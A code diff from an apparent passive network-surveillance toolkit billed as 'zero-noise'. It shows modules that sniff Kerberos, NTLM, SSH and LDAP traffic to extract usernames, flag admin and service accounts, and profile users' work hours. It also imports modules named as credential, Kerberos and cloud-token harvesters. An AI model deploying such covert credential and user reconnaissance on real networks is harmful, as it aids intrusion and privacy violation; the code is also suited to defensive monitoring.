(ts, username, domain, event_type, source_ip,
|
||||
target_ip, service, detail, source_module),
|
||||
)
|
||||
|
||||
# Update user profile
|
||||
is_admin = 1 if (
|
||||
service.lower() in _ADMIN_SERVICES
|
||||
or username.lower() in _ADMIN_USERNAMES
|
||||
or event_type == EVENT_ADMIN_ACTION
|
||||
) else 0
|
||||
|
||||
is_svc = 1 if any(
|
||||
username.lower().startswith(p) for p in _SVC_PATTERNS
|
||||
) else 0
|
||||
|
||||
self._conn.execute(
|
||||
"""INSERT INTO user_profiles
|
||||
(username, domain, first_seen, last_seen, event_count,
|
||||
is_admin, is_service_acct)
|
||||
VALUES (?, ?, ?, ?, 1, ?, ?)
|
||||
ON CONFLICT(username) DO UPDATE SET
|
||||
last_seen = MAX(excluded.last_seen, user_profiles.last_seen),
|
||||
event_count = user_profiles.event_count + 1,
|
||||
is_admin = MAX(excluded.is_admin, user_profiles.is_admin),
|
||||
is_service_acct = MAX(excluded.is_service_acct, user_profiles.is_service_acct)
|
||||
""",
|
||||
(username, domain, ts, ts, is_admin, is_svc),
|
||||
)
|
||||
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to record user event for %s", username)
|
||||
|
||||
def ingest_auth_event(self, username: str, domain: str, source_ip: str,
|
||||
target_ip: str, service: str, success: bool,
|
||||
timestamp: float = None) -> None:
|
||||
"""Ingest an authentication event from external modules."""
|
||||
event_type = EVENT_LOGIN if success else EVENT_AUTH_FAIL
|
||||
detail = "success" if success else "failure"
|
||||
self._record_event(
|
||||
username=username, domain=domain, event_type=event_type,
|
||||
source_ip=source_ip, target_ip=target_ip, service=service,
|
||||
detail=detail, source_module="auth_flow_tracker",
|
||||
timestamp=timestamp,
|
||||
)
|
||||
|
||||
def ingest_file_access(self, username: str, source_ip: str,
|
||||
file_path: str, action: str = "read",
|
||||
timestamp: float = None) -> None:
|
||||
"""Ingest a file access event (from smb_monitor)."""
|
||||
self._record_event(
|
||||
username=username, domain="", event_type=EVENT_FILE_ACCESS,
|
||||
source_ip=source_ip, target_ip="", service="smb",
|
||||
detail=f"{action}: {file_path}",
|
||||
source_module="smb_monitor", timestamp=timestamp,
|
||||
)
|
||||
|
||||
def ingest_web_activity(self, source_ip: str, domain: str,
|
||||
url: str = "", timestamp: float = None) -> None:
|
||||
"""Ingest web browsing activity (correlated to user by IP)."""
|
||||
# Look up username by source_ip from recent events
|
||||
username = self._resolve_user_by_ip(source_ip)
|
||||
if not username:
|
||||
username = f"host:{source_ip}"
|
||||
|
||||
self._record_event(
|
||||
username=username, domain="", event_type=EVENT_WEB_BROWSE,
|
||||
source_ip=source_ip, target_ip="", service="web",
|
||||
detail=url or domain,
|
||||
source_module="dns_logger", timestamp=timestamp,
|
||||
)
|
||||
|
||||
def _resolve_user_by_ip(self, ip: str) -> str:
|
||||
"""Try to resolve a username from a source IP using recent login events."""
|
||||
with self._lock:
|
||||
try:
|
||||
row = self._conn.execute(
|
||||
"""SELECT username FROM user_events
|
||||
WHERE source_ip = ? AND event_type = ?
|
||||
ORDER BY timestamp DESC LIMIT 1""",
|
||||
(ip, EVENT_LOGIN),
|
||||
).fetchone()
|
||||
return row["username"] if row else ""
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Periodic state ingestion
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _periodic_ingest(self) -> None:
|
||||
"""Periodically pull data from other module state stores."""
|
||||
interval = self.config.get("timeline_ingest_interval", 120)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._ingest_from_auth_tracker()
|
||||
self._ingest_from_smb_monitor()
|
||||
self._ingest_from_dns_logger()
|
||||
self._update_user_profiles()
|
||||
except Exception:
|
||||
logger.exception("Periodic user timeline ingest failed")
|
||||
|
||||
def _ingest_from_auth_tracker(self) -> None:
|
||||
"""Pull authentication events from auth_flow_tracker state."""
|
||||
last_ts = self.state.get(self.name, "auth_tracker_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
auth_json = self.state.get("auth_flow_tracker", "recent_events")
|
||||
if not auth_json:
|
||||
return
|
||||
|
||||
try:
|
||||
events = json.loads(auth_json)
|
||||
for evt in events:
|
||||
ts = evt.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.ingest_auth_event(
|
||||
username=evt.get("username", ""),
|
||||
domain=evt.get("domain", ""),
|
||||
source_ip=evt.get("source_ip", ""),
|
||||
target_ip=evt.get("target_ip", ""),
|
||||
service=evt.get("service", ""),
|
||||
success=evt.get("success", True),
|
||||
timestamp=ts,
|
||||
)
|
||||
last_ts = max(last_ts, ts)
|
||||
|
||||
self.state.set(self.name, "auth_tracker_last_ts", str(last_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _ingest_from_smb_monitor(self) -> None:
|
||||
"""Pull SMB file access events from smb_monitor state."""
|
||||
last_ts = self.state.get(self.name, "smb_monitor_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
smb_json = self.state.get("smb_monitor", "recent_file_ops")
|
||||
if not smb_json:
|
||||
return
|
||||
|
||||
try:
|
||||
events = json.loads(smb_json)
|
||||
for evt in events:
|
||||
ts = evt.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.ingest_file_access(
|
||||
username=evt.get("username", ""),
|
||||
source_ip=evt.get("source_ip", ""),
|
||||
file_path=evt.get("path", ""),
|
||||
action=evt.get("action", "read"),
|
||||
timestamp=ts,
|
||||
)
|
||||
last_ts = max(last_ts, ts)
|
||||
|
||||
self.state.set(self.name, "smb_monitor_last_ts", str(last_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _ingest_from_dns_logger(self) -> None:
|
||||
"""Pull DNS query data for web activity correlation."""
|
||||
last_ts = self.state.get(self.name, "dns_logger_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
dns_json = self.state.get("dns_logger", "recent_queries")
|
||||
if not dns_json:
|
||||
return
|
||||
|
||||
try:
|
||||
queries = json.loads(dns_json)
|
||||
for q in queries:
|
||||
ts = q.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.ingest_web_activity(
|
||||
source_ip=q.get("client_ip", ""),
|
||||
domain=q.get("query_name", ""),
|
||||
timestamp=ts,
|
||||
)
|
||||
last_ts = max(last_ts, ts)
|
||||
|
||||
self.state.set(self.name, "dns_logger_last_ts", str(last_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _update_user_profiles(self) -> None:
|
||||
"""Refresh computed fields on user profiles (work hours, workstations, etc)."""
|
||||
with self._lock:
|
||||
try:
|
||||
users = self._conn.execute(
|
||||
"SELECT DISTINCT username FROM user_events"
|
||||
).fetchall()
|
||||
|
||||
for (username,) in users:
|
||||
# Compute typical hours
|
||||
rows = self._conn.execute(
|
||||
"""SELECT timestamp FROM user_events
|
||||
WHERE username = ?""",
|
||||
(username,),
|
||||
).fetchall()
|
||||
|
||||
hours = defaultdict(int)
|
||||
for (ts,) in rows:
|
||||
hour = time.localtime(ts).tm_hour
|
||||
hours[hour] += 1
|
||||
|
||||
# Top active hours (>10% of activity)
|
||||
total = sum(hours.values())
|
||||
if total > 0:
|
||||
typical = sorted(
|
||||
[h for h, c in hours.items() if c / total > 0.1]
|
||||
)
|
||||
else:
|
||||
typical = []
|
||||
|
||||
# Workstations (source IPs used for login)
|
||||
ws_rows = self._conn.execute(
|
||||
"""SELECT DISTINCT source_ip FROM user_events
|
||||
WHERE username = ? AND event_type = ? AND source_ip != ''""",
|
||||
(username, EVENT_LOGIN),
|
||||
).fetchall()
|
||||
workstations = [r[0] for r in ws_rows]
|
||||
|
||||
# Services used
|
||||
svc_rows = self._conn.execute(
|
||||
"""SELECT DISTINCT service FROM user_events
|
||||
WHERE username = ? AND service != ''""",
|
||||
(username,),
|
||||
).fetchall()
|
||||
services = [r[0] for r in svc_rows]
|
||||
|
||||
self._conn.execute(
|
||||
"""UPDATE user_profiles
|
||||
SET typical_hours = ?, workstations = ?, services_used = ?
|
||||
WHERE username = ?""",
|
||||
(json.dumps(typical), json.dumps(workstations),
|
||||
json.dumps(services), username),
|
||||
)
|
||||
|
||||
self._conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to update user profiles")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_timeline(self, username: str, limit: int = 200,
|
||||
since: float = 0) -> list:
|
||||
"""Get chronological activity timeline for a user."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM user_events
|
||||
WHERE username = ? AND timestamp > ?
|
||||
ORDER BY timestamp DESC LIMIT ?""",
|
||||
(username, since, limit),
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_active_users(self, hours: float = 1.0) -> list:
|
||||
"""Get users active within the given time window."""
|
||||
since = time.time() - (hours * 3600)
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT username, domain, COUNT(*) as event_count,
|
||||
MAX(timestamp) as last_active
|
||||
FROM user_events
|
||||
WHERE timestamp > ?
|
||||
GROUP BY username
|
||||
ORDER BY last_active DESC""",
|
||||
(since,),
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_admin_users(self) -> list:
|
||||
"""Get all users identified as having admin privileges."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM user_profiles
|
||||
WHERE is_admin = 1
|
||||
ORDER BY last_seen DESC"""
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_service_accounts(self) -> list:
|
||||
"""Get all detected service accounts."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM user_profiles
|
||||
WHERE is_service_acct = 1
|
||||
ORDER BY event_count DESC"""
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_user_profile(self, username: str) -> Optional[dict]:
|
||||
"""Get computed profile for a user."""
|
||||
with self._lock:
|
||||
row = self._conn.execute(
|
||||
"SELECT * FROM user_profiles WHERE username = ?",
|
||||
(username,),
|
||||
).fetchone()
|
||||
|
||||
if not row:
|
||||
return None
|
||||
|
||||
profile = dict(row)
|
||||
# Parse JSON fields
|
||||
for field in ("typical_hours", "workstations", "services_used"):
|
||||
try:
|
||||
profile[field] = json.loads(profile.get(field, "[]"))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
profile[field] = []
|
||||
|
||||
return profile
|
||||
|
||||
def get_user_work_hours(self, username: str) -> dict:
|
||||
"""Analyze and return a user's typical work hours."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT timestamp FROM user_events
|
||||
WHERE username = ?""",
|
||||
(username,),
|
||||
).fetchall()
|
||||
|
||||
if not rows:
|
||||
return {"username": username, "hours": {}, "typical_start": None, "typical_end": None}
|
||||
|
||||
hours = defaultdict(int)
|
||||
for (ts,) in rows:
|
||||
hour = time.localtime(ts).tm_hour
|
||||
hours[hour] += 1
|
||||
|
||||
total = sum(hours.values())
|
||||
active_hours = sorted([h for h, c in hours.items() if c / total > 0.05])
|
||||
|
||||
return {
|
||||
"username": username,
|
||||
"hours": dict(hours),
|
||||
"active_hours": active_hours,
|
||||
"typical_start": active_hours[0] if active_hours else None,
|
||||
"typical_end": active_hours[-1] if active_hours else None,
|
||||
"total_events": total,
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
"""SystemMonitor passive modules — zero-noise network observation."""
|
||||
|
||||
from modules.passive.packet_capture import PacketCapture
|
||||
from modules.passive.dns_logger import DNSLogger
|
||||
from modules.passive.tls_sni_extractor import TLSSNIExtractor
|
||||
from modules.passive.credential_sniffer import CredentialSniffer
|
||||
from modules.passive.kerberos_harvester import KerberosHarvester
|
||||
from modules.passive.host_discovery import HostDiscovery
|
||||
from modules.passive.os_fingerprint import OSFingerprint
|
||||
from modules.passive.traffic_analyzer import TrafficAnalyzer
|
||||
from modules.passive.vlan_discovery import VLANDiscovery
|
||||
from modules.passive.network_mapper import NetworkMapper
|
||||
from modules.passive.auth_flow_tracker import AuthFlowTracker
|
||||
from modules.passive.smb_monitor import SMBMonitor
|
||||
from modules.passive.cloud_token_harvester import CloudTokenHarvester
|
||||
from modules.passive.ldap_harvester import LDAPHarvester
|
||||
from modules.passive.rdp_monitor import RDPMonitor
|
||||
from modules.passive.quic_analyzer import QUICAnalyzer
|
||||
from modules.passive.db_interceptor import DBInterceptor
|
||||
|
||||
__all__ = [
|
||||
"PacketCapture",
|
||||
"DNSLogger",
|
||||
"TLSSNIExtractor",
|
||||
"CredentialSniffer",
|
||||
"KerberosHarvester",
|
||||
"HostDiscovery",
|
||||
"OSFingerprint",
|
||||
"TrafficAnalyzer",
|
||||
"VLANDiscovery",
|
||||
"NetworkMapper",
|
||||
"AuthFlowTracker",
|
||||
"SMBMonitor",
|
||||
"CloudTokenHarvester",
|
||||
"LDAPHarvester",
|
||||
"RDPMonitor",
|
||||
"QUICAnalyzer",
|
||||
"DBInterceptor",
|
||||
]
|
||||
@@ -0,0 +1,540 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Authentication flow tracker — cross-protocol auth event correlation.
|
||||
|
||||
Tracks Kerberos (AS-REQ/TGS-REQ), NTLM (across SMB/HTTP/LDAP/MSSQL),
|
||||
SSH connections, and LDAP binds. Builds per-user authentication timelines
|
||||
and identifies service accounts.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Protocol ports
|
||||
KERBEROS_PORT = 88
|
||||
SMB_PORT = 445
|
||||
LDAP_PORT = 389
|
||||
LDAPS_PORT = 636
|
||||
RDP_PORT = 3389
|
||||
SSH_PORT = 22
|
||||
MSSQL_PORT = 1433
|
||||
|
||||
TCP_PROTO = 6
|
||||
UDP_PROTO = 17
|
||||
|
||||
# Kerberos message types (in AS-REQ body)
|
||||
KRB_AS_REQ = 10
|
||||
KRB_AS_REP = 11
|
||||
KRB_TGS_REQ = 12
|
||||
KRB_TGS_REP = 13
|
||||
|
||||
# NTLM signature
|
||||
NTLMSSP_SIGNATURE = b'NTLMSSP\x00'
|
||||
NTLM_NEGOTIATE = 1
|
||||
NTLM_CHALLENGE = 2
|
||||
NTLM_AUTHENTICATE = 3
|
||||
|
||||
# Service account detection threshold
|
||||
SERVICE_ACCOUNT_THRESHOLD = 5
|
||||
|
||||
_DB_INIT = """
|
||||
CREATE TABLE IF NOT EXISTS auth_events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
dest_ip TEXT NOT NULL,
|
||||
protocol TEXT NOT NULL,
|
||||
auth_type TEXT NOT NULL,
|
||||
username TEXT DEFAULT '',
|
||||
domain TEXT DEFAULT '',
|
||||
target_service TEXT DEFAULT '',
|
||||
success INTEGER DEFAULT -1
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_auth_user ON auth_events(username);
|
||||
CREATE INDEX IF NOT EXISTS idx_auth_ts ON auth_events(timestamp);
|
||||
CREATE INDEX IF NOT EXISTS idx_auth_src ON auth_events(source_ip);
|
||||
"""
|
||||
|
||||
FLUSH_INTERVAL = 30
|
||||
|
||||
|
||||
class AuthFlowTracker(BaseModule):
|
||||
"""Track authentication events across Kerberos, NTLM, SSH, LDAP."""
|
||||
|
||||
name = "auth_flow_tracker"
|
||||
module_type = "passive"
|
||||
priority = 100
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._read_thread: Optional[threading.Thread] = None
|
||||
self._flush_thread: Optional[threading.Thread] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._write_buffer: list[tuple] = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
# Track per-user service targets for service account detection
|
||||
self._user_targets: dict[str, set] = defaultdict(set)
|
||||
self._stats = {
|
||||
"packets_processed": 0,
|
||||
"kerberos_events": 0,
|
||||
"ntlm_events": 0,
|
||||
"ssh_events": 0,
|
||||
"ldap_bind_events": 0,
|
||||
"service_accounts_detected": 0,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
self._init_db()
|
||||
self._capture_bus = self.config.get("_capture_bus")
|
||||
if self._capture_bus is None:
|
||||
logger.error("AuthFlowTracker requires _capture_bus in config")
|
||||
return
|
||||
|
||||
# BPF for auth protocol ports
|
||||
bpf = (
|
||||
"port 88 or port 445 or port 389 or port 636 "
|
||||
"or port 3389 or port 22 or port 1433"
|
||||
)
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter=bpf, queue_depth=5000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
self._read_thread = threading.Thread(
|
||||
target=self._read_loop, daemon=True, name="sensor-auth-read"
|
||||
)
|
||||
self._read_thread.start()
|
||||
|
||||
self._flush_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-auth-flush"
|
||||
)
|
||||
self._flush_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("AuthFlowTracker started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
for t in (self._read_thread, self._flush_thread):
|
||||
if t and t.is_alive():
|
||||
t.join(timeout=5.0)
|
||||
self._flush_buffer()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("AuthFlowTracker stopped — stats: %s", self._stats)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
**self._stats,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_loop(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, pkt = result
|
||||
self._stats["packets_processed"] += 1
|
||||
try:
|
||||
self._process_packet(pkt, ts)
|
||||
except Exception:
|
||||
logger.debug("Error processing auth packet", exc_info=True)
|
||||
|
||||
def _process_packet(self, pkt: bytes, ts: float) -> None:
|
||||
"""Route packet to appropriate protocol parser."""
|
||||
if len(pkt) < 34:
|
||||
return
|
||||
|
||||
ethertype = struct.unpack("!H", pkt[12:14])[0]
|
||||
eth_offset = 14
|
||||
if ethertype == 0x8100:
|
||||
if len(pkt) < 38:
|
||||
return
|
||||
ethertype = struct.unpack("!H", pkt[16:18])[0]
|
||||
eth_offset = 18
|
||||
|
||||
if ethertype != 0x0800:
|
||||
return
|
||||
|
||||
ip_header = pkt[eth_offset:]
|
||||
if len(ip_header) < 20:
|
||||
return
|
||||
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
ip_proto = ip_header[9]
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_header[16:20])
|
||||
|
||||
if ip_proto == TCP_PROTO and len(ip_header) >= ihl + 4:
|
||||
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
|
||||
# TCP data offset
|
||||
if len(ip_header) < ihl + 12:
|
||||
return
|
||||
tcp_data_off = ((ip_header[ihl + 12] >> 4) & 0xF) * 4
|
||||
payload = ip_header[ihl + tcp_data_off:]
|
||||
if not payload:
|
||||
return
|
||||
|
||||
port = dst_port
|
||||
if dst_port == KERBEROS_PORT or src_port == KERBEROS_PORT:
|
||||
self._parse_kerberos(payload, src_ip, dst_ip, ts)
|
||||
elif dst_port == SMB_PORT or src_port == SMB_PORT:
|
||||
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "smb", ts)
|
||||
elif dst_port in (LDAP_PORT, LDAPS_PORT) or src_port in (LDAP_PORT, LDAPS_PORT):
|
||||
self._parse_ldap_bind(payload, src_ip, dst_ip, ts)
|
||||
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "ldap", ts)
|
||||
elif dst_port == SSH_PORT or src_port == SSH_PORT:
|
||||
self._parse_ssh(payload, src_ip, dst_ip, ts)
|
||||
elif dst_port == RDP_PORT or src_port == RDP_PORT:
|
||||
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "rdp", ts)
|
||||
elif dst_port == MSSQL_PORT or src_port == MSSQL_PORT:
|
||||
self._parse_ntlm_in_payload(payload, src_ip, dst_ip, "mssql", ts)
|
||||
|
||||
elif ip_proto == UDP_PROTO and len(ip_header) >= ihl + 8:
|
||||
src_port, dst_port = struct.unpack("!HH", ip_header[ihl:ihl + 4])
|
||||
payload = ip_header[ihl + 8:]
|
||||
if dst_port == KERBEROS_PORT or src_port == KERBEROS_PORT:
|
||||
self._parse_kerberos(payload, src_ip, dst_ip, ts)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Kerberos parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_kerberos(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse Kerberos AS-REQ and TGS-REQ to extract principal, realm, SPN."""
|
||||
if len(payload) < 10:
|
||||
return
|
||||
|
||||
# Kerberos uses ASN.1 DER encoding
|
||||
# Application tag: AS-REQ=[APPLICATION 10], TGS-REQ=[APPLICATION 12]
|
||||
tag = payload[0]
|
||||
if tag & 0x1F == 0x1F:
|
||||
# Long-form tag, skip for now
|
||||
return
|
||||
|
||||
app_class = (tag >> 6) & 0x03
|
||||
if app_class != 1: # APPLICATION class
|
||||
return
|
||||
|
||||
msg_type = tag & 0x1F
|
||||
auth_type = ""
|
||||
if msg_type == KRB_AS_REQ:
|
||||
auth_type = "kerberos_as_req"
|
||||
elif msg_type == KRB_TGS_REQ:
|
||||
auth_type = "kerberos_tgs_req"
|
||||
else:
|
||||
return
|
||||
|
||||
# Extract principal and realm from ASN.1 — simplified extraction
|
||||
# Look for common realm and principal patterns in the raw bytes
|
||||
realm = self._extract_krb_string(payload, b'\x1b') # GeneralString
|
||||
principal = self._extract_krb_string(payload, b'\x1b', skip=1)
|
||||
|
||||
self._stats["kerberos_events"] += 1
|
||||
self._record_auth(
|
||||
ts, src_ip, dst_ip, "kerberos", auth_type,
|
||||
username=principal, domain=realm,
|
||||
target_service=principal if msg_type == KRB_TGS_REQ else "",
|
||||
)
|
||||
|
||||
def _extract_krb_string(self, data: bytes, tag: bytes, skip: int = 0) -> str:
|
||||
"""Extract a GeneralString value from ASN.1 data (simplified)."""
|
||||
search_tag = tag[0]
|
||||
pos = 0
|
||||
found = 0
|
||||
while pos < len(data) - 2:
|
||||
if data[pos] == search_tag:
|
||||
length = data[pos + 1]
|
||||
if length > 0 and length < 128 and pos + 2 + length <= len(data):
|
||||
if found >= skip:
|
||||
try:
|
||||
return data[pos + 2:pos + 2 + length].decode("ascii", errors="replace")
|
||||
except Exception:
|
||||
return ""
|
||||
found += 1
|
||||
pos += 1
|
||||
return ""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# NTLM parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_ntlm_in_payload(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
protocol: str, ts: float) -> None:
|
||||
"""Search for NTLMSSP messages embedded in any protocol payload."""
|
||||
idx = payload.find(NTLMSSP_SIGNATURE)
|
||||
if idx == -1 or idx + 12 > len(payload):
|
||||
return
|
||||
|
||||
ntlm_data = payload[idx:]
|
||||
msg_type = struct.unpack("<I", ntlm_data[8:12])[0]
|
||||
|
||||
if msg_type == NTLM_AUTHENTICATE and len(ntlm_data) >= 88:
|
||||
# Type 3: Authenticate message
|
||||
username, domain, workstation = self._parse_ntlm_auth(ntlm_data)
|
||||
if username:
|
||||
self._stats["ntlm_events"] += 1
|
||||
self._record_auth(
|
||||
ts, src_ip, dst_ip, protocol, "ntlm_auth",
|
||||
username=username, domain=domain,
|
||||
)
|
||||
elif msg_type == NTLM_CHALLENGE and len(ntlm_data) >= 56:
|
||||
# Type 2: Challenge — extract target name
|
||||
target = self._parse_ntlm_challenge_target(ntlm_data)
|
||||
if target:
|
||||
self._stats["ntlm_events"] += 1
|
||||
self._record_auth(
|
||||
ts, dst_ip, src_ip, protocol, "ntlm_challenge",
|
||||
domain=target,
|
||||
)
|
||||
|
||||
def _parse_ntlm_auth(self, data: bytes) -> tuple:
|
||||
"""Parse NTLM Type 3 Authenticate message for username, domain, workstation."""
|
||||
if len(data) < 72:
|
||||
return ("", "", "")
|
||||
|
||||
try:
|
||||
# LmChallengeResponse: offset 12
|
||||
# NtChallengeResponse: offset 20
|
||||
# DomainName: length(2), maxlen(2), offset(4) at byte 28
|
||||
domain_len = struct.unpack("<H", data[28:30])[0]
|
||||
domain_off = struct.unpack("<I", data[32:36])[0]
|
||||
|
||||
# UserName: length(2), maxlen(2), offset(4) at byte 36
|
||||
user_len = struct.unpack("<H", data[36:38])[0]
|
||||
user_off = struct.unpack("<I", data[40:44])[0]
|
||||
|
||||
# Workstation: length(2), maxlen(2), offset(4) at byte 44
|
||||
ws_len = struct.unpack("<H", data[44:46])[0]
|
||||
ws_off = struct.unpack("<I", data[48:52])[0]
|
||||
|
||||
domain = data[domain_off:domain_off + domain_len].decode("utf-16-le", errors="replace") if domain_len else ""
|
||||
username = data[user_off:user_off + user_len].decode("utf-16-le", errors="replace") if user_len else ""
|
||||
workstation = data[ws_off:ws_off + ws_len].decode("utf-16-le", errors="replace") if ws_len else ""
|
||||
|
||||
return (username, domain, workstation)
|
||||
except Exception:
|
||||
return ("", "", "")
|
||||
|
||||
def _parse_ntlm_challenge_target(self, data: bytes) -> str:
|
||||
"""Parse NTLM Type 2 Challenge for target name."""
|
||||
if len(data) < 24:
|
||||
return ""
|
||||
try:
|
||||
target_len = struct.unpack("<H", data[12:14])[0]
|
||||
target_off = struct.unpack("<I", data[16:20])[0]
|
||||
if target_len and target_off + target_len <= len(data):
|
||||
return data[target_off:target_off + target_len].decode("utf-16-le", errors="replace")
|
||||
except Exception:
|
||||
pass
|
||||
return ""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# SSH parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_ssh(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse SSH version exchange and detect auth activity."""
|
||||
# SSH version string starts with "SSH-"
|
||||
if payload[:4] == b'SSH-':
|
||||
try:
|
||||
version_line = payload.split(b'\r\n')[0].decode("ascii", errors="replace")
|
||||
except Exception:
|
||||
version_line = ""
|
||||
|
||||
self._stats["ssh_events"] += 1
|
||||
self._record_auth(
|
||||
ts, src_ip, dst_ip, "ssh", "version_exchange",
|
||||
target_service=version_line,
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# LDAP bind parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _parse_ldap_bind(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
ts: float) -> None:
|
||||
"""Parse LDAP simple bind request to extract username."""
|
||||
if len(payload) < 10:
|
||||
return
|
||||
|
||||
# LDAP messages are BER-encoded
|
||||
# BindRequest: APPLICATION[0] -> sequence: version, name, auth
|
||||
# Look for a simple bind: tag 0x60 (APPLICATION CONSTRUCTED 0)
|
||||
if payload[0] != 0x30: # Not a SEQUENCE
|
||||
return
|
||||
|
||||
# Search for BindRequest tag (0x60) within the message
|
||||
idx = payload.find(b'\x60')
|
||||
if idx == -1 or idx + 10 > len(payload):
|
||||
return
|
||||
|
||||
# Skip the BindRequest tag and length
|
||||
bind_data = payload[idx + 1:]
|
||||
if not bind_data:
|
||||
return
|
||||
|
||||
# Try to read the length
|
||||
bind_len, len_size = self._read_ber_length(bind_data)
|
||||
if bind_len <= 0:
|
||||
return
|
||||
|
||||
bind_body = bind_data[len_size:]
|
||||
|
||||
# Version (INTEGER tag 0x02)
|
||||
if len(bind_body) < 3 or bind_body[0] != 0x02:
|
||||
return
|
||||
ver_len = bind_body[1]
|
||||
name_start = 2 + ver_len
|
||||
|
||||
# Name (OCTET STRING tag 0x04)
|
||||
if len(bind_body) <= name_start + 2:
|
||||
return
|
||||
if bind_body[name_start] != 0x04:
|
||||
return
|
||||
name_len = bind_body[name_start + 1]
|
||||
if name_len > 0 and name_start + 2 + name_len <= len(bind_body):
|
